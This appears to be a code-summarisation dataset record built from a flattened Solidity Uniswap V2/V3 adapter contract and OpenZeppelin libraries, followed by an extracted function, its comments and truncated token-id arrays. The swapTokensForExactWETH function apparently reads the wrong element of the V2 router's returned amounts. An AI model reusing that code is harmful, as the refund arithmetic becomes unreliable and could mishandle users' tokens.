* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
/* pragma solidity ^0.8.1; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/* import "../../../utils/Address.sol"; */
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// src/interfaces/IUniswapAdapterCaller.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap Adapter Caller Interface
* @author bayu (github.com/pyk)
* @notice Contract that interact with Uniswap Adapter should implement this interface.
*/
interface IUniswapAdapterCaller {
/**
* @notice Function that will be executed by Uniswap Adapter to finish the flash swap.
* The caller will receive _amountOut of the specified tokenOut.
* @param _wethAmount The amount of WETH that the caller need to send back to the Uniswap Adapter
* @param _amountOut The amount of of tokenOut transfered to the caller.
* @param _data Data passed by the caller.
*/
function onFlashSwapWETHForExactTokens(uint256 _wethAmount, uint256 _amountOut, bytes calldata _data) external;
}
////// src/interfaces/IUniswapV2Pair.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V2 Pair Interface
* @author bayu (github.com/pyk)
*/
interface IUniswapV2Pair {
function token1() external view returns (address);
function token0() external view returns (address);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
////// src/interfaces/IUniswapV3Pool.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V3 Pool Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IUniswapV3Pool {
/// @notice Docs: https://docs.uniswap.org/protocol/reference/core/UniswapV3Pool#swap
function swap(address _recipient, bool _zeroForOne, int256 _amountSpecified, uint160 _sqrtPriceLimitX96, bytes memory _data) external returns (int256 amount0, int256 amount1);
function token0() external view returns (address);
function token1() external view returns (address);
function fee() external view returns (uint24);
}
////// src/interfaces/IUniswapAdapter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import { IUniswapV2Pair } from "../interfaces/IUniswapV2Pair.sol"; */
/* import { IUniswapV3Pool } from "../interfaces/IUniswapV3Pool.sol"; */
/* import { IUniswapAdapterCaller } from "../interfaces/IUniswapAdapterCaller.sol"; */
/**
* @title Uniswap Adapter
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Utility contract to interact with Uniswap V2 & V3
*/
interface IUniswapAdapter {
/// ███ Types ██████████████████████████████████████████████████████████████
/**
* @notice The supported Uniswap version
*/
enum UniswapVersion {
UniswapV2,
UniswapV3
}
/**
* @notice Liquidity data for specified token
* @param version The address of Rise Token
* @param pair The Uniswap V2 pair address
* @param pool The Uniswap V3 pool address
* @param router The Uniswap router address
*/
struct LiquidityData {
UniswapVersion version;
IUniswapV2Pair pair;
IUniswapV3Pool pool;
address router;
}
/**
* @notice Parameters to do flash swap WETH->tokenOut
* @param tokenOut The output token
* @param caller The flash swap caller
* @param liquidityData Liquidi
* @param amountOut The amount of tokenOut that will be received by
* this contract
* @param wethAmount The amount of WETH required to finish the flash swap
*/
struct FlashSwapWETHForExactTokensParams {
IERC20 tokenOut;
IUniswapAdapterCaller caller;
LiquidityData liquidityData;
uint256 amountOut;
uint256 wethAmount;
}
/// @notice Flash swap types
enum FlashSwapType {
FlashSwapWETHForExactTokens
}
/// ███ Events █████████████████████████████████████████████████████████████
/**
* @notice Event emitted when token is configured
* @param liquidityData The liquidity data of the token
*/
event TokenConfigured(LiquidityData liquidityData);
/**
* @notice Event emitted when flash swap succeeded
* @param params The flash swap params
*/
event FlashSwapped(FlashSwapWETHForExactTokensParams params);
/// ███ Errors █████████████████████████████████████████████████████████████
/// @notice Error is raised when owner use invalid uniswap version
error InvalidUniswapVersion(uint8 version);
/// @notice Error is raised when invalid amount
error InvalidAmount(uint256 amount);
/// @notice Error is raised when token is not configured
error TokenNotConfigured(address token);
/// @notice Error is raised when the callback is called by unkown pair/pool
error CallerNotAuthorized();
/// @notice Error is raised when the caller not repay the token
error CallerNotRepay();
/// @notice Error is raised when this contract receive invalid amount when flashswap
error FlashSwapReceivedAmountInvalid(uint256 expected, uint256 got);
/// ███ Owner actions ██████████████████████████████████████████████████████
/**
* @notice Configure the token
* @param _token The ERC20 token
* @param _version The Uniswap version (2 or 3)
* @param _pairOrPool The contract address of the TOKEN/ETH pair or pool
* @param _router The Uniswap V2 or V3 router address
*/
function configure(
address _token,
UniswapVersion _version,
address _pairOrPool,
address _router
) external;
/// ███ Read-only functions ████████████████████████████████████████████████
/**
* @notice Returns true if token is configured
* @param _token The token address
*/
function isConfigured(address _token) external view returns (bool);
/// ███ Adapters ███████████████████████████████████████████████████████████
/**
* @notice Borrow exact amount of tokenOut and repay it with WETH.
* The Uniswap Adapter will call msg.sender#onFlashSwapWETHForExactTokens.
* @param _tokenOut The address of ERC20 that swapped
* @param _amountOut The exact amount of tokenOut that will be received by the caller
*/
function flashSwapWETHForExactTokens(
address _tokenOut,
uint256 _amountOut,
bytes memory _data
) external;
/**
* @notice Swaps an exact amount of input tokenIn for as many WETH as possible
* @param _tokenIn tokenIn address
* @param _amountIn The amount of tokenIn
* @param _amountOutMin The minimum amount of WETH to be received
* @return _amountOut The WETH amount received
*/
function swapExactTokensForWETH(
address _tokenIn,
uint256 _amountIn,
uint256 _amountOutMin
) external returns (uint256 _amountOut);
/**
* @notice Swaps an exact amount of WETH for as few tokenIn as possible.
* @param _tokenIn tokenIn address
* @param _wethAmount The amount of tokenIn
* @param _amountInMax The minimum amount of WETH to be received
* @return _amountIn The WETH amount received
*/
function swapTokensForExactWETH(
address _tokenIn,
uint256 _wethAmount,
uint256 _amountInMax
) external returns (uint256 _amountIn);
/**
* @notice Swaps an exact amount of WETH for tokenOut
* @param _tokenOut tokenOut address
* @param _wethAmount The amount of WETH
* @param _amountOutMin The minimum amount of WETH to be received
* @return _amountOut The WETH amount received
*/
function swapExactWETHForTokens(
address _tokenOut,
uint256 _wethAmount,
uint256 _amountOutMin
) external returns (uint256 _amountOut);
}
////// src/interfaces/IUniswapV2Router02.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V2 Router Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts);
}
////// src/interfaces/IUniswapV3SwapRouter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V3 Swap Router Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IUniswapV3SwapRouter {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(ExactInputSingleParams memory params) external returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
function exactOutputSingle(ExactOutputSingleParams memory params) external returns (uint256 amountIn);
}
////// src/interfaces/IWETH9.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/**
* @title WETH Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
/// @notice Withdraw wrapped ether to get ether
function withdraw(uint256) external;
}
////// src/adapters/UniswapAdapter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { Ownable } from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import { SafeERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol"; */
/* import { IUniswapAdapter } from "../interfaces/IUniswapAdapter.sol"; */
/* import { IUniswapV2Router02 } from "../interfaces/IUniswapV2Router02.sol"; */
/* import { IUniswapV2Pair } from "../interfaces/IUniswapV2Pair.sol"; */
/* import { IUniswapV3Pool } from "../interfaces/IUniswapV3Pool.sol"; */
/* import { IUniswapV3SwapRouter } from "../interfaces/IUniswapV3SwapRouter.sol"; */
/* import { IUniswapAdapterCaller } from "../interfaces/IUniswapAdapterCaller.sol"; */
/* import { IWETH9 } from "../interfaces/IWETH9.sol"; */
/**
* @title Uniswap Adapter
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Utility contract to interact with Uniswap V2 & V3
*/
contract UniswapAdapter is IUniswapAdapter, Ownable {
/// ███ Libraries ██████████████████████████████████████████████████████████
using SafeERC20 for IERC20;
using SafeERC20 for IWETH9;
/// ███ Storages ███████████████████████████████████████████████████████████
/// @notice WETH address
IWETH9 public weth;
/// @notice Mapping token to their liquidity metadata
mapping(address => LiquidityData) public liquidities;
/// @notice Whitelisted pair/pool that can call the callback
mapping(address => bool) private isValidCallbackCaller;
/// ███ Constuctors ████████████████████████████████████████████████████████
constructor(address _weth) {
weth = IWETH9(_weth);
}
/// ███ Owner actions ██████████████████████████████████████████████████████
/// @inheritdoc IUniswapAdapter
function configure(address _token, UniswapVersion _version, address _pairOrPool, address _router) external onlyOwner {
isValidCallbackCaller[_pairOrPool] = true;
liquidities[_token] = LiquidityData({
version: _version,
pool: IUniswapV3Pool(_pairOrPool),
pair: IUniswapV2Pair(_pairOrPool),
router: _router
});
emit TokenConfigured(liquidities[_token]);
}
/// ███ Internal functions █████████████████████████████████████████████████
/// @notice Executed when flashSwapWETHForExactTokens is triggered
function onFlashSwapWETHForExactTokens(FlashSwapWETHForExactTokensParams memory _params, bytes memory _data) internal {
// Transfer the tokenOut to caller
_params.tokenOut.safeTransfer(address(_params.caller), _params.amountOut);
// Execute the callback
uint256 prevBalance = weth.balanceOf(address(this));
_params.caller.onFlashSwapWETHForExactTokens(_params.wethAmount, _params.amountOut, _data);
uint256 balance = weth.balanceOf(address(this));
// Check the balance
if (balance < prevBalance + _params.wethAmount) revert CallerNotRepay();
// Transfer the WETH to the Uniswap V2 pair or pool
if (_params.liquidityData.version == UniswapVersion.UniswapV2) {
weth.safeTransfer(address(_params.liquidityData.pair), _params.wethAmount);
} else {
weth.safeTransfer(address(_params.liquidityData.pool), _params.wethAmount);
}
emit FlashSwapped(_params);
}
/// ███ Callbacks ██████████████████████████████████████████████████████████
function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) external {
/// ███ Checks
// Check caller
if (!isValidCallbackCaller[msg.sender]) revert CallerNotAuthorized();
if (_sender != address(this)) revert CallerNotAuthorized();
/// ███ Interactions
// Get the data
(FlashSwapType flashSwapType, bytes memory data) = abi.decode(_data, (FlashSwapType, bytes));
// Continue execute the function based on the flash swap type
if (flashSwapType == FlashSwapType.FlashSwapWETHForExactTokens) {
(FlashSwapWETHForExactTokensParams memory params, bytes memory callData) = abi.decode(data, (FlashSwapWETHForExactTokensParams,bytes));
// Check the amount out
uint256 amountOut = _amount0 == 0 ? _amount1 : _amount0;
if (params.amountOut != amountOut) revert FlashSwapReceivedAmountInvalid(params.amountOut, amountOut);
// Calculate the WETH amount
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(params.tokenOut);
params.wethAmount = IUniswapV2Router02(params.liquidityData.router).getAmountsIn(params.amountOut, path)[0];
onFlashSwapWETHForExactTokens(params, callData);
return;
}
}
function uniswapV3SwapCallback(int256 _amount0Delta, int256 _amount1Delta, bytes memory _data) external {
/// ███ Checks
// Check caller
if (!isValidCallbackCaller[msg.sender]) revert CallerNotAuthorized();
/// ███ Interactions
// Get the data
(FlashSwapType flashSwapType, bytes memory data) = abi.decode(_data, (FlashSwapType, bytes));
// Continue execute the function based on the flash swap type
if (flashSwapType == FlashSwapType.FlashSwapWETHForExactTokens) {
(FlashSwapWETHForExactTokensParams memory params, bytes memory callData) = abi.decode(data, (FlashSwapWETHForExactTokensParams,bytes));
// if amount negative then it must be the amountOut, otherwise it's weth amount
uint256 amountOut = _amount0Delta < 0 ? uint256(-1 * _amount0Delta) : uint256(-1 * _amount1Delta);
params.wethAmount = _amount0Delta > 0 ? uint256(_amount0Delta) : uint256(_amount1Delta);
// Check the amount out
if (params.amountOut != amountOut) revert FlashSwapReceivedAmountInvalid(params.amountOut, amountOut);
onFlashSwapWETHForExactTokens(params, callData);
return;
}
}
/// ███ Read-only functions ████████████████████████████████████████████████
/// @inheritdoc IUniswapAdapter
function isConfigured(address _token) public view returns (bool) {
if (liquidities[_token].router == address(0)) return false;
return true;
}
/// ███ Adapters ███████████████████████████████████████████████████████████
/// @inheritdoc IUniswapAdapter
function flashSwapWETHForExactTokens(address _tokenOut, uint256 _amountOut, bytes memory _data) external {
/// ███ Checks
if (_amountOut == 0) revert InvalidAmount(0);
if (!isConfigured(_tokenOut)) revert TokenNotConfigured(_tokenOut);
// Check the metadata
LiquidityData memory metadata = liquidities[_tokenOut];
/// ███ Interactions
// Initialize the params
FlashSwapWETHForExactTokensParams memory params = FlashSwapWETHForExactTokensParams({
tokenOut: IERC20(_tokenOut),
amountOut: _amountOut,
caller: IUniswapAdapterCaller(msg.sender),
liquidityData: metadata,
wethAmount: 0 // Initialize as zero; It will be updated in the callback
});
bytes memory data = abi.encode(FlashSwapType.FlashSwapWETHForExactTokens, abi.encode(params, _data));
// Flash swap Uniswap V2; The pair address will call uniswapV2Callback function
if (metadata.version == UniswapVersion.UniswapV2) {
// Get amountOut for token and weth
uint256 amount0Out = _tokenOut == metadata.pair.token0() ? _amountOut : 0;
uint256 amount1Out = _tokenOut == metadata.pair.token1() ? _amountOut : 0;
// Do the flash swap
metadata.pair.swap(amount0Out, amount1Out, address(this), data);
return;
}
if (metadata.version == UniswapVersion.UniswapV3) {
// zeroForOne (true: token0 -> token1) (false: token1 -> token0)
bool zeroForOne = _tokenOut == metadata.pool.token1() ? true : false;
// amountSpecified (Exact input: positive) (Exact output: negative)
int256 amountSpecified = -1 * int256(_amountOut);
uint160 sqrtPriceLimitX96 = (zeroForOne ? 4295128740 : 1461446703485210103287273052203988822378723970341);
// Perform swap
metadata.pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
return;
}
}
/// @inheritdoc IUniswapAdapter
function swapExactTokensForWETH(address _tokenIn, uint256 _amountIn, uint256 _amountOutMin) external returns (uint256 _amountOut) {
/// ███ Checks
if (!isConfigured(_tokenIn)) revert TokenNotConfigured(_tokenIn);
/// ███ Interactions
LiquidityData memory metadata = liquidities[_tokenIn];
IERC20(_tokenIn).safeTransferFrom(msg.sender, address(this), _amountIn);
IERC20(_tokenIn).safeIncreaseAllowance(metadata.router, _amountIn);
if (metadata.version == UniswapVersion.UniswapV2) {
// Do the swap
address[] memory path = new address[](2);
path[0] = _tokenIn;
path[1] = address(weth);
_amountOut = IUniswapV2Router02(metadata.router).swapExactTokensForTokens(_amountIn, _amountOutMin, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
// Do the swap
IUniswapV3SwapRouter.ExactInputSingleParams memory params = IUniswapV3SwapRouter.ExactInputSingleParams({
tokenIn: _tokenIn,
tokenOut: address(weth),
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountIn: _amountIn,
amountOutMinimum: _amountOutMin,
sqrtPriceLimitX96: 0
});
_amountOut = IUniswapV3SwapRouter(metadata.router).exactInputSingle(params);
}
return _amountOut;
}
/// @inheritdoc IUniswapAdapter
function swapTokensForExactWETH(address _tokenIn, uint256 _wethAmount, uint256 _amountInMax) external returns (uint256 _amountIn) {
/// ███ Checks
if (!isConfigured(_tokenIn)) revert TokenNotConfigured(_tokenIn);
/// ███ Interactions
LiquidityData memory metadata = liquidities[_tokenIn];
IERC20(_tokenIn).safeTransferFrom(msg.sender, address(this), _amountInMax);
IERC20(_tokenIn).safeIncreaseAllowance(metadata.router, _amountInMax);
if (metadata.version == UniswapVersion.UniswapV2) {
// Do the swap
address[] memory path = new address[](2);
path[0] = _tokenIn;
path[1] = address(weth);
_amountIn = IUniswapV2Router02(metadata.router).swapTokensForExactTokens(_wethAmount, _amountInMax, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
// Do the swap
IUniswapV3SwapRouter.ExactOutputSingleParams memory params = IUniswapV3SwapRouter.ExactOutputSingleParams({
tokenIn: _tokenIn,
tokenOut: address(weth),
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountOut: _wethAmount,
amountInMaximum: _amountInMax,
sqrtPriceLimitX96: 0
});
_amountIn = IUniswapV3SwapRouter(metadata.router).exactOutputSingle(params);
}
if (_amountInMax > _amountIn) {
// Transfer back excess token
IERC20(_tokenIn).safeTransfer(msg.sender, _amountInMax - _amountIn);
}
return _amountIn;
}
/// @inheritdoc IUniswapAdapter
function swapExactWETHForTokens(address _tokenOut, uint256 _wethAmount, uint256 _amountOutMin) external returns (uint256 _amountOut) {
/// ███ Checks
if (!isConfigured(_tokenOut)) revert TokenNotConfigured(_tokenOut);
/// ███ Interactions
LiquidityData memory metadata = liquidities[_tokenOut];
IERC20(address(weth)).safeTransferFrom(msg.sender, address(this), _wethAmount);
weth.safeIncreaseAllowance(metadata.router, _wethAmount);
if (metadata.version == UniswapVersion.UniswapV2) {
// Do the swap
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = _tokenOut;
_amountOut = IUniswapV2Router02(metadata.router).swapExactTokensForTokens(_wethAmount, _amountOutMin, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
// Do the swap
IUniswapV3SwapRouter.ExactInputSingleParams memory params = IUniswapV3SwapRouter.ExactInputSingleParams({
tokenIn: address(weth),
tokenOut: _tokenOut,
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountIn: _wethAmount,
amountOutMinimum: _amountOutMin,
sqrtPriceLimitX96: 0
});
_amountOut = IUniswapV3SwapRouter(metadata.router).exactInputSingle(params);
}
return _amountOut;
}
} | @inheritdoc IUniswapAdapter ███ Checks ███ Interactions Do the swap Do the swap Transfer back excess token | function swapTokensForExactWETH(address _tokenIn, uint256 _wethAmount, uint256 _amountInMax) external returns (uint256 _amountIn) {
if (!isConfigured(_tokenIn)) revert TokenNotConfigured(_tokenIn);
LiquidityData memory metadata = liquidities[_tokenIn];
IERC20(_tokenIn).safeTransferFrom(msg.sender, address(this), _amountInMax);
IERC20(_tokenIn).safeIncreaseAllowance(metadata.router, _amountInMax);
if (metadata.version == UniswapVersion.UniswapV2) {
address[] memory path = new address[](2);
path[0] = _tokenIn;
path[1] = address(weth);
_amountIn = IUniswapV2Router02(metadata.router).swapTokensForExactTokens(_wethAmount, _amountInMax, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
IUniswapV3SwapRouter.ExactOutputSingleParams memory params = IUniswapV3SwapRouter.ExactOutputSingleParams({
tokenIn: _tokenIn,
tokenOut: address(weth),
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountOut: _wethAmount,
amountInMaximum: _amountInMax,
sqrtPriceLimitX96: 0
});
_amountIn = IUniswapV3SwapRouter(metadata.router).exactOutputSingle(params);
}
if (_amountInMax > _amountIn) {
IERC20(_tokenIn).safeTransfer(msg.sender, _amountInMax - _amountIn);
}
return _amountIn;
}
| 10,823,023 | [
1,
36,
10093,
467,
984,
291,
91,
438,
4216,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
13074,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
5294,
4905,
2256,
326,
7720,
2256,
326,
7720,
12279,
1473,
23183,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
